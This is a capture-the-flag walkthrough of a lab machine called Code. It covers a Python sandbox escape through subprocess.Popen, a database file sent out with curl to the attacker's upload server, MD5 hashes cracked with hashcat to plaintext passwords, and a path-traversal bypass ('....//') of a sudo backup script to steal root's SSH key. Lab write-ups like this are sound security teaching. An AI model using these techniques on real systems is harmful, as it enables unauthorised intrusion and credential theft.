![[Code.png]] # Reconnaissance Started off with an Nmap scan and specified the following options: - `-sC` to use default scripts - `-sV` to gather service/version information - `-oA` to save the output to a file - `-p-` to scan all TCP ports Examining the results, there are only two open ports: TCP ports 22 and 5000. ```bash ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~] └──╼ [★]$ echo -e "\nexport target_ip=10.129.24.143\nexport target_domain=code.htb" >> ~/.bashrc ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~] └──╼ [★]$ exec bash ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ echo "$target_ip $target_domain" | sudo tee -a /etc/hosts ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-20 14:31 CDT Nmap scan report for 10.129.24.143 Host is up (0.010s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA) | 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA) |_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519) 5000/tcp open http Gunicorn 20.0.4 |_http-title: Python Code Editor |_http-server-header: gunicorn/20.0.4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds ``` # Initial Access ## Fuzzing a Python Code Editor Before navigating to TCP port 5000, I started Burp Suite to proxy all the web traffic. With Burp Suite's built-in browser, I navigated to the open TCP port and was greeted with a Python Code Editor. I was able to run Python code, but when I tried to get a reverse shell, it was blocked due to the use of restricted keywords, specifically `import`. This prevented me from importing various modules to get command execution. If a module can't be loaded directly with `import`, can it be loaded indirectly? ![[Pasted image 20250720143459.png]] ![[Pasted image 20250720143715.png]] # Execution ## Python Subclass Bypass Python, by default, imports many modules into memory. Some of which can be abused. Once the modules are listed, it is possible to load them indirectly by referencing their index. The output in the browser is truncated; therefore, Burp Suite was used to view the entire output. After a bit of enumeration, I found a subclass of interest, `subprocess.popen`. This subclass can be abused to run system commands. However, before I can do that, I need to find its index, which is why I'm using a for loop. Once that is identified, I can call it indirectly and pass it the required arguments to get command execution. ![[Pasted image 20250720144733.png]] ![[Pasted image 20250720144811.png]] ![[Pasted image 20250720144907.png]] ![[Pasted image 20250720145230.png]] # Credential Access ## Cracking Hashes in SQLite Database Enumeration of the system led to the discovery of a SQLite database file. After transferring it to my Kali box, I was able to extract and crack the hashes. Due to password reuse, I was able to SSH into the target system with `martin`'s credentials. ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' app-production@code:~/app$ ls -latr ls -latr total 32 drwxr-xr-x 3 app-production app-production 4096 Aug 27 2024 static drwxr-x--- 5 app-production app-production 4096 Sep 16 2024 .. drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates -rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__ drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 . drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:32 instance app-production@code:~/app$ cat app.py cat app.py from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash from flask_sqlalchemy import SQLAlchemy import sys import io import os import hashlib app = Flask(__name__) app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5" app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) app-production@code:~/app$ find / -name database.db 2>/dev/null find / -name database.db 2>/dev/null /home/app-production/app/instance/database.db app-production@code:~/app$ file /home/app-production/app/instance/database.db file /home/app-production/app/instance/database.db /home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001 ``` ```bash # Ran on Kali ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ python3 -m uploadserver -d /tmp --basic-auth cspsec:026yucqqm0 8081 File upload available at /upload Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... # Ran on target app-production@code:~/app$ curl -X POST http://10.10.14.169:8081/upload -F 'files=@/home/app-production/app/instance/database.db' -u cspsec:026yucqqm0 <tion/app/instance/database.db' -u cspsec:026yucqqm0 ``` ```bash ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ sqlite3 /tmp/database.db SQLite version 3.40.1 2022-12-28 14:03:47 Enter ".help" for usage hints. sqlite> .tables code user sqlite> select * from user; 1|development|759b74ce43947f5f4c91aeddc3e5bad3 2|martin|3de6f30c4a09c27fc71932bfc68474be ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ echo -e "759b74ce43947f5f4c91aeddc3e5bad3\n3de6f30c4a09c27fc71932bfc68474be" > hashes.txt ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code] └──╼ [★]$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt ``` ``` development::development martin::nafeelswordsmaster ``` # Privilege Escalation ## Abusing a Directory Traversal Vulnerability with Sudo As always, one of the first things I do is list what the current user can run with `sudo`. Turns out `martin` can run a backup script. The script attempts to sanitize file paths to prevent a directory traversal attack. Fortunately, it does not do a good job at that. After a bit of trial and error, I was able to create a backup of the `/root` directory. After transferring that file to my Kali box, I was able to extract its contents and had access to `root`'s SSH private key. ```bash martin@code:~$ sudo -l Matching Defaults entries for martin on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User martin may run the following commands on localhost: (ALL : ALL) NOPASSWD: /usr/bin/backy.sh ``` ```bash martin@code:~$ cat /usr/bin/backy.sh #!/bin/bash if [[ $# -ne 1 ]]; then /usr/bin/echo "Usage: $0 <task.json>" exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then /usr/bin/echo "Error: File '$json_file' not found." exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') is_allowed_path() { local path="$1" for allowed_path in "${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1 } for dir in $directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed." exit 1 fi done /usr/bin/backy "$json_file" ``` ```bash martin@code:~$ cat ~/backups/task.json { "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": false, "directories_to_archive": [ "/home/app-production/app" ], "exclude": [ ".*" ] } ``` ```bash martin@code:~$ cat > ~/root-exfil.json << EOF > { > "destination": "/home/martin/", > "multiprocessing": true, > "verbose_log": true, > "directories_to_archive": [ > "/home/../root" > ] > } > EOF ``` ``` martin@code:~$ json_file=~/root-exfil.json martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file" { "destination": "/home/martin/", "multiprocessing": true, "verbose_log": true, "directories_to_archive": [ "/home/root" ] } ``` ```bash martin@code:~$ cat > ~/root-exfil.json << EOF > { > "destination": "/home/martin/", > "multiprocessing": true, > "verbose_log": true, > "directories_to_archive": [ > "/home/....//root" > ] > } > EOF ``` ```bash martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file" { "destination": "/home/martin/", "multiprocessing": true, "verbose_log": true, "directories_to_archive": [ "/home/../root" ] } martin@code:~$ sudo /usr/bin/backy.sh ~/root-exfil.json 2025/07/20 22:35:02 🍀 backy 1.2 2025/07/20 22:35:02 📋 Working with /home/martin/root-exfil.json ... 2025/07/20 22:35:02 💤 Nothing to sync 2025/07/20 22:35:02 📤 Archiving: [/home/../root] 2025/07/20 22:35:02 📥 To: /home/martin ... 2025/07/20 22:35:02 📦 tar: Removing leading `/home/../' from member names /home/../root/ /home/../root/.local/ /home/../root/.local/share/ /home/../root/.local/share/nano/ /home/../root/.local/share/nano/search_history /home/../root/.selected_editor /home/../root/.sqlite_history /home/../root/.profile /home/../root/scripts/ /home/../root/scripts/cleanup.sh /home/../root/scripts/backups/ /home/../root/scripts/backups/task.json /home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2 /home/../root/scripts/database.db /home/../root/scripts/cleanup2.sh /home/../root/.python_history /home/../root/root.txt /home/../root/.cache/ /home/../root/.cache/motd.legal-displayed /home/../root/.ssh/ /home/../root/.ssh/id_rsa /home/../root/.ssh/authorized_keys /home/../root/.bash_history /home/../root/.bashrc ``` ```bash ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp] └──╼ [★]$ scp martin@$target_ip:~/code_home_.._root_2025_July.tar.bz2 . [email protected]'s password: code_home_.._root_2025_July.tar.bz2 100% 13KB 606.4KB/s 00:00 ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp] └──╼ [★]$ mkdir /tmp/loot && tar -xvf code_home_.._root_2025_July.tar.bz2 -C /tmp/loot ┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp/loot/root/.ssh] └──╼ [★]$ ssh -i id_rsa root@$target_ip ``` # References - [Bypass Python Sandbox](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html?highlight=python%20sand#bypass-pickle-sandbox-with-the-default-installed-python-packages) - [Python Sandbox Escape](https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/pwn/linux/sandbox/python-sandbox-escape.md) - [Python UploadServer Documentation](https://pypi.org/project/uploadserver/) - [subprocess.Popen Documentation](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)